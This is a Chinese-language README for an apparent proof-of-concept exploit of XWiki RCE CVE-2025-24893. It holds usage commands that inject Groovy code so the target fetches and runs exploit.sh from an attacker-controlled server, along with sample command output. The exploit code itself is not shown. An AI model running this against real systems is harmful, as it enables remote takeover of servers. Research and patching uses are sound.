本仓库包含针对 XWiki 远程代码执行 (RCE) 漏洞(编号 CVE-2025-24893)的概念验证 (PoC) 漏洞利用代码。该漏洞允许攻击者通过向 SolrSearch 端点发送精心构造的请求,在目标 XWiki 实例上执行任意代码。本脚本同时支持 HTTP 和 HTTPS 目标。
⚠️ 免责声明:本 PoC 仅供教育及研究用途。未经明确许可,将此代码用于任何系统均属违法且不道德。测试任何系统前,请务必获得适当授权。
该漏洞源于 SolrSearch 端点对用户输入的处理不当,允许通过精心构造的载荷注入 Groovy 代码。本 PoC 演示了攻击者如何利用此漏洞在目标服务器上执行任意命令。
requests、argparse、urllib.parse、re、htmlgit clone https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc.git
pip install requests
该脚本向目标 XWiki 实例发送一个精心构造的 HTTP/HTTPS 请求,注入一个 Groovy 载荷,该载荷执行 curl 命令以获取并运行来自攻击者服务器的文件。
使用以下命令运行脚本:
python3 exploit.py --url <target_url> --server <attacker_server> --file <malicious_file> [--no-verify]
--url:目标 XWiki 实例的基础 URL(例如 http://target 或 https://target)。--server:攻击者服务器的 IP 或主机名(如有需要可包含端口),例如 192.168.1.100:8080。支持 HTTP 和 HTTPS。--file:攻击者服务器上包含待执行代码的文件名称(例如 exploit.sh)。--no-verify:可选标志,用于禁用 HTTPS 目标的 SSL 验证(请谨慎使用,仅用于测试)。python3 exploit.py --url http(s)://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh
要绕过 SSL 验证(例如使用自签名证书时):
python3 exploit.py --url https://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh --no-verify
此操作将:
curl 命令的载荷。http(s)://192.168.1.100:8080) 获取指定的文件 (exploit.sh)。脚本从目标响应中提取内容,移除 HTML 标签(例如 <br/>、<del>),并将 HTML 实体转换为纯文本以提高可读性。清理后的输出将打印到控制台。
python3 exploit.py --url http://<redacted> --server http://<redacted>:8080 --file exploit.sh
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
为防范此漏洞:
本项目采用 MIT 许可证授权。详情请参见 LICENSE 文件。